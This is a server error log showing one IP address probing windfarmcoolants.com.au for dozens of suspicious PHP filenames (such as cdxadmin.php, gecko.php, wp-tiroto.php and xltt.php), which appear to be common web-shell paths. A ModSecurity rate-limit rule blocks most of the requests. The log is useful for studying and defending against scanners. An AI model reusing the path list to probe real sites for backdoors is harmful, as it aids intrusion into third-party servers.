[Thu May 14 04:43:00.604055 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:47821] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agTiVCnxWuLN8Hptw8lcegAAANM"]
[Thu May 14 04:43:01.416642 2026] [:error] [pid 63033:tid 63040] [client 52.139.38.158:47793] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTiVVMY49UWn5BpqVYyKwAAAQU"]
[Thu May 14 04:43:02.698690 2026] [:error] [pid 11690:tid 11700] [client 52.139.38.158:47826] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTiVinxWuLN8Hptw8lcgQAAAME"]
[Thu May 14 04:43:04.045050 2026] [:error] [pid 11582:tid 11625] [client 52.139.38.158:37567] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTiWPuw2cmFDpGcKhDKswAAAEA"]
[Thu May 14 04:43:05.156746 2026] [:error] [pid 63033:tid 63039] [client 52.139.38.158:59763] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "agTiWVMY49UWn5BpqVYyMAAAAQQ"]
[Thu May 14 04:43:05.894070 2026] [:error] [pid 63033:tid 63052] [client 52.139.38.158:59442] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "agTiWVMY49UWn5BpqVYyMgAAARE"]
[Thu May 14 04:43:06.476521 2026] [:error] [pid 63033:tid 63059] [client 52.139.38.158:47778] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "agTiWlMY49UWn5BpqVYyMwAAARg"]
[Thu May 14 04:43:07.126093 2026] [:error] [pid 11582:tid 11647] [client 52.139.38.158:59418] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "agTiW_uw2cmFDpGcKhDKtQAAAFY"]
[Thu May 14 04:43:07.689753 2026] [:error] [pid 11582:tid 11649] [client 52.139.38.158:47835] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxx.php"] [unique_id "agTiW_uw2cmFDpGcKhDKtwAAAFg"]
[Thu May 14 04:43:08.252248 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:59742] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "agTiXNUr21rOixkeGKb2zgAAAJE"]
[Thu May 14 04:43:09.557317 2026] [:error] [pid 11582:tid 11641] [client 52.139.38.158:37542] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "agTiXfuw2cmFDpGcKhDKuQAAAFA"]
[Thu May 14 04:43:10.588819 2026] [:error] [pid 11582:tid 11639] [client 52.139.38.158:47854] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "agTiXvuw2cmFDpGcKhDKuwAAAE4"]
[Thu May 14 04:43:11.914506 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:47768] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "agTiXynxWuLN8Hptw8lckwAAANQ"]
[Thu May 14 04:43:13.388638 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:59414] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agTiYVMY49UWn5BpqVYyOQAAAQY"]
[Thu May 14 04:43:14.415558 2026] [:error] [pid 11581:tid 11606] [client 52.139.38.158:59726] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agTiYv0vF48FbzpvQMV9vgAAAAk"]
[Thu May 14 04:43:15.032026 2026] [:error] [pid 11582:tid 11646] [client 52.139.38.158:59443] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agTiY_uw2cmFDpGcKhDKvQAAAFU"]
[Thu May 14 04:43:15.577168 2026] [:error] [pid 11588:tid 11657] [client 52.139.38.158:59758] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gecko.php"] [unique_id "agTiY9Ur21rOixkeGKb20QAAAIU"]
[Thu May 14 04:43:16.416665 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:47836] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "agTiZCnxWuLN8Hptw8lcngAAAMw"]
[Thu May 14 04:43:16.993992 2026] [:error] [pid 11690:tid 11702] [client 52.139.38.158:37569] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "agTiZCnxWuLN8Hptw8lcoQAAAMM"]
[Thu May 14 04:43:17.525192 2026] [:error] [pid 11690:tid 11708] [client 52.139.38.158:41670] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fone1.php"] [unique_id "agTiZSnxWuLN8Hptw8lcpAAAAMk"]
[Thu May 14 04:43:18.131162 2026] [:error] [pid 11690:tid 11701] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Thu May 14 04:43:18.342780 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Thu May 14 04:43:18.581414 2026] [:error] [pid 11690:tid 11704] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu May 14 04:43:18.794580 2026] [:error] [pid 11690:tid 11706] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/tires.php
[Thu May 14 04:43:19.006760 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tiroto.php
[Thu May 14 04:43:19.285292 2026] [:error] [pid 11690:tid 11703] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/a7.php
[Thu May 14 04:43:19.511458 2026] [:error] [pid 11690:tid 11718] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu May 14 04:43:19.728631 2026] [:error] [pid 11690:tid 11699] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/drykl.php
[Thu May 14 04:43:19.942208 2026] [:error] [pid 11690:tid 11715] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/BDKR28WP.php
[Thu May 14 04:43:20.153670 2026] [:error] [pid 11690:tid 11711] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Thu May 14 04:43:20.366576 2026] [:error] [pid 11690:tid 11710] [client 52.139.38.158:47802] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Thu May 14 04:43:20.575092 2026] [:error] [pid 11690:tid 11719] [client 52.139.38.158:47802] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTiaCnxWuLN8Hptw8lctgAAANQ"]
[Thu May 14 04:43:21.218379 2026] [:error] [pid 11582:tid 11628] [client 52.139.38.158:47813] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTiafuw2cmFDpGcKhDKwQAAAEM"]
[Thu May 14 04:43:21.709995 2026] [:error] [pid 11582:tid 11625] [client 52.139.38.158:47866] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTiafuw2cmFDpGcKhDKwwAAAEA"]
[Thu May 14 04:43:22.202962 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:47838] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "agTiatUr21rOixkeGKb20wAAAI8"]
[Thu May 14 04:43:22.740534 2026] [:error] [pid 11581:tid 11620] [client 52.139.38.158:47780] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTiav0vF48FbzpvQMV9wAAAABc"]
[Thu May 14 04:43:23.507988 2026] [:error] [pid 11582:tid 11648] [client 52.139.38.158:47845] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTia_uw2cmFDpGcKhDKxgAAAFc"]
[Thu May 14 04:43:24.836868 2026] [:error] [pid 11581:tid 11604] [client 52.139.38.158:47846] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTibP0vF48FbzpvQMV9wgAAAAc"]
[Thu May 14 04:43:27.010594 2026] [:error] [pid 11582:tid 11641] [client 52.139.38.158:59438] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/d.php"] [unique_id "agTib_uw2cmFDpGcKhDKygAAAFA"]
[Thu May 14 04:43:28.202879 2026] [:error] [pid 11582:tid 11635] [client 52.139.38.158:47850] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTicPuw2cmFDpGcKhDKzQAAAEo"]
[Thu May 14 04:43:28.992502 2026] [:error] [pid 11588:tid 11655] [client 52.139.38.158:41658] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTicNUr21rOixkeGKb22gAAAIM"]
[Thu May 14 04:43:29.847397 2026] [:error] [pid 11582:tid 11628] [client 52.139.38.158:59757] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTicfuw2cmFDpGcKhDKzwAAAEM"]
[Thu May 14 04:43:30.543948 2026] [:error] [pid 63033:tid 63058] [client 52.139.38.158:59403] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "agTiclMY49UWn5BpqVYyQgAAARc"]
[Thu May 14 04:43:31.447934 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:41623] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTic1MY49UWn5BpqVYyQwAAAQM"]
[Thu May 14 04:43:32.124667 2026] [:error] [pid 11588:tid 11656] [client 52.139.38.158:47798] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTidNUr21rOixkeGKb24QAAAIQ"]
[Thu May 14 04:43:32.929946 2026] [:error] [pid 11582:tid 11640] [client 52.139.38.158:59411] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTidPuw2cmFDpGcKhDK0wAAAE8"]
[Thu May 14 04:43:33.467709 2026] [:error] [pid 11690:tid 11717] [client 52.139.38.158:47789] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "agTidSnxWuLN8Hptw8lcywAAANI"]
[Thu May 14 04:43:33.964374 2026] [:error] [pid 11581:tid 11613] [client 52.139.38.158:47807] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTidf0vF48FbzpvQMV9xwAAABA"]
[Thu May 14 04:43:34.629901 2026] [:error] [pid 11690:tid 11721] [client 52.139.38.158:59748] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTidinxWuLN8Hptw8lc0QAAANY"]
[Thu May 14 04:43:35.126043 2026] [:error] [pid 63033:tid 63041] [client 52.139.38.158:59436] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTid1MY49UWn5BpqVYyRwAAAQY"]
[Thu May 14 04:43:35.565086 2026] [:error] [pid 63033:tid 63044] [client 52.139.38.158:47800] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "agTid1MY49UWn5BpqVYySQAAAQk"]
[Thu May 14 04:43:36.067134 2026] [:error] [pid 11582:tid 11642] [client 52.139.38.158:47818] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTiePuw2cmFDpGcKhDK1AAAAFE"]
[Thu May 14 04:43:36.525907 2026] [:error] [pid 11690:tid 11712] [client 52.139.38.158:47855] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTieCnxWuLN8Hptw8lc1gAAAM0"]
[Thu May 14 04:43:37.175157 2026] [:error] [pid 11582:tid 11639] [client 52.139.38.158:41655] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTiefuw2cmFDpGcKhDK1gAAAE4"]
[Thu May 14 04:43:37.651319 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:47868] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "agTiedUr21rOixkeGKb25QAAAJE"]
[Thu May 14 04:43:38.230429 2026] [:error] [pid 11588:tid 11676] [client 52.139.38.158:59407] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTietUr21rOixkeGKb26wAAAJg"]
[Thu May 14 04:43:38.731087 2026] [:error] [pid 11690:tid 11713] [client 52.139.38.158:47837] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTieinxWuLN8Hptw8lc3AAAAM4"]
[Thu May 14 04:43:39.221639 2026] [:error] [pid 63033:tid 63047] [client 52.139.38.158:59764] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTie1MY49UWn5BpqVYyTgAAAQw"]
[Thu May 14 04:43:39.692644 2026] [:error] [pid 63033:tid 63038] [client 52.139.38.158:59740] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/son.php"] [unique_id "agTie1MY49UWn5BpqVYyTwAAAQM"]
[Thu May 14 04:43:40.168047 2026] [:error] [pid 11690:tid 11722] [client 52.139.38.158:49540] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTifCnxWuLN8Hptw8lc5gAAANc"]
[Thu May 14 04:43:40.612682 2026] [:error] [pid 11690:tid 11704] [client 52.139.38.158:59730] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTifCnxWuLN8Hptw8lc5wAAAMU"]
[Thu May 14 04:43:41.080043 2026] [:error] [pid 11588:tid 11667] [client 52.139.38.158:59720] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTifdUr21rOixkeGKb28AAAAI8"]
[Thu May 14 04:43:41.712853 2026] [:error] [pid 11588:tid 11652] [client 52.139.38.158:41568] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/doc.php"] [unique_id "agTifdUr21rOixkeGKb28gAAAIA"]
[Thu May 14 04:43:42.197514 2026] [:error] [pid 11588:tid 11669] [client 52.139.38.158:59779] [client 52.139.38.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zo.php"] [unique_id "agTiftUr21rOixkeGKb29QAAAJE"]
